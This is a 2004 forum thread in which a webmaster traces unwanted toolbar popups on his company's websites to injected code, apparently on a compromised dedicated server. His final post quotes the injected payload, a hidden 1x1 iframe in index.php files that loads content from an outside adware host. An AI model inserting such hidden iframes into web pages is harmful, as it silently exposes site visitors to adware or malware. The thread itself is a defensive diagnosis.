Antivirus Protection
 
Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
User Name:
Password:
Remember me
Go Back   Dev Shed Forums > System Administration > Antivirus Protection
Reload this Page

Website hijack

Discuss Website hijack in the Antivirus Protection forum on Dev Shed.
Website hijack Antivirus Protection forum discussing issues relating to antivirus programs, spyware, hijack protection, and personal firewalls for all operating systems. Keep your systems protected from hackers and other hazards.

Record onscreen activity, your voice & webcam video. Turn everyday presentations into HD-quality videos.

For perfectly clear screencasts every time.
At the IBM® developerWorks Developer Knowledge Center you'll find resources for FREE ekits, Tutorials, Webcasts, Trial Downloads and more.


We cover the world of technology like no one else, constantly updating you with the best information available on open source software, Microsoft technologies, hardware and news from around the world.

Try Camtasia Studio today!
Visit the IBM® Developer Knowledge Center today!
Sign up today!

Reply
Add This Thread To:
  Del.icio.us   Digg   Google   Spurl   Blink   Furl   Simpy   Y! MyWeb 
« Previous Thread | Next Thread »  
Thread Tools Search this Thread Rate Thread Display Modes
 
Unread Dev Shed Forums Sponsor:
  #1  
Old May 23rd, 2004, 02:57 AM
[ArcanE]'s Avatar
[ArcanE] [ArcanE] is offline
Contributing User
Dev Shed Newbie (0 - 499 posts)
  
Join Date: Nov 2001
Posts: 74 [ArcanE] User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 2 h 27 m
Reputation Power: 8
Website hijack
Is it possible that a website completely coded by us is hijacked by some sort of Toolbar installer?

Since last week i got a very annoying popup at almost all of our sites and i don't have any idea where it comes from. It tries to install an XXX toolbar.

I already updated/ran Adaware and Norton Antivirus on my PC and visited the sites on a clean installed laptop but the problem persists.

Anyone has an idea?

http://www.bruggebusiness.com/
Reply With Quote
  #2  
Old May 23rd, 2004, 03:04 AM
jacktasia jacktasia is offline
Contributing User
Dev Shed Intermediate (1500 - 1999 posts)
  
Join Date: Feb 2004
Location: Lawrence, Kansas [KU]
Posts: 1,559 jacktasia User rank is Corporal (100 - 500 Reputation Level)jacktasia User rank is Corporal (100 - 500 Reputation Level)jacktasia User rank is Corporal (100 - 500 Reputation Level)jacktasia User rank is Corporal (100 - 500 Reputation Level) 
Time spent in forums: 2 Days 14 h 8 m 17 sec
Reputation Power: 10
Send a message via AIM to jacktasia
do you see anything weird in any of your website's directories? (i.e.: anything you yourself didn't put there?)
Reply With Quote
  #3  
Old May 23rd, 2004, 03:10 AM
[ArcanE]'s Avatar
[ArcanE] [ArcanE] is offline
Contributing User
Dev Shed Newbie (0 - 499 posts)
  
Join Date: Nov 2001
Posts: 74 [ArcanE] User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 2 h 27 m
Reputation Power: 8
Quote:
Originally Posted by jacktasia
do you see anything weird in any of your website's directories? (i.e.: anything you yourself didn't put there?)

Nope, Already checked code and content of the FTP, but i just noticed something very ugly ...

Looks like almost all sites hosted on our dedicated server have this problem. Guess i could best contact our system admin

Any other suggestions?
Reply With Quote
  #4  
Old May 23rd, 2004, 03:30 AM
jacktasia jacktasia is offline
Contributing User
Dev Shed Intermediate (1500 - 1999 posts)
  
Join Date: Feb 2004
Location: Lawrence, Kansas [KU]
Posts: 1,559 jacktasia User rank is Corporal (100 - 500 Reputation Level)jacktasia User rank is Corporal (100 - 500 Reputation Level)jacktasia User rank is Corporal (100 - 500 Reputation Level)jacktasia User rank is Corporal (100 - 500 Reputation Level) 
Time spent in forums: 2 Days 14 h 8 m 17 sec
Reputation Power: 10
Send a message via AIM to jacktasia
Quote:
Originally Posted by [ArcanE]
Looks like almost all sites hosted on our dedicated server have this problem. Guess i could best contact our system admin


i would contact him as soon as possible, because i don't think anyone else would be able to fix it.
Reply With Quote
  #5  
Old May 23rd, 2004, 03:46 AM
[ArcanE]'s Avatar
[ArcanE] [ArcanE] is offline
Contributing User
Dev Shed Newbie (0 - 499 posts)
  
Join Date: Nov 2001
Posts: 74 [ArcanE] User rank is Just a Lowly Private (1 - 20 Reputation Level) 
Time spent in forums: 2 h 27 m
Reputation Power: 8
Looks like i found the problem. Somehow some malicious code has nested itself inside my index.php files.

<IFRAME SRC="http://www.b00gle.com/fa/?d=get" WIDTH=1 HEIGHT=1></IFRAME>

This code explains the nasty popups.
I'm gonna have to check the workstations at the office if this problem occurred before or after upload. Hope it happened before, else we might be in a very bad situation with a server infected with some nasty adware/troyans
Reply With Quote
Reply

Viewing: Dev Shed Forums > System Administration > Antivirus Protection > Website hijack

« Previous Thread | Next Thread »

Thread Tools  Search this Thread 
Search this Thread:

Advanced Search
Display Modes  Rate This Thread 
Linear Mode Linear Mode
Rate This Thread:


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts
vB code is On
Smilies are On
[IMG] code is On
HTML code is Off
View Your Warnings | New Posts | Latest News | Latest Threads | Shoutbox
Forum Jump




 Free IT White Papers!
 
How to Present Effectively Online
This white paper offers practical and actionable advice on the key steps that any presenter should consider as they plan and execute a Webinar or online meeting.
 
Open Source Security Myths
Open Source Software (OSS) is computer software whose source code is available to the general public with relaxed or non-existent intellectual property restrictions (or arrangement such as the public domain), and is usually developed with the input of many contributors.
 
Power and Cooling Capacity Management for Data Centers
This paper describes the principles for achieving power and cooling capacity management.
 
Scalable, Fault-Tolerant NAS for Oracle - The Next Generation
For several years NAS has been evolving as a storage alternative for Oracle databases, and for good reason: NAS is quite often the simplest, most cost-effective storage approach for Oracle. Learn about the benefits that HP's approach to scalable NAS brings to Oracle environments in this comprehensive white paper.
 
Understanding Web Application Security Challenges
This white paper discusses many common threats and preventive measures for Web application security, and explains what you can do to help protect your organization.
 

Forums: » Register « |  User CP |  Games |  Calendar |  Members |  FAQs |  Sitemap |  Support | 
  
 




© 2003-2009 by Developer Shed. All rights reserved. DS Cluster 4 Hosted by Hostway. 
Stay green...Green IT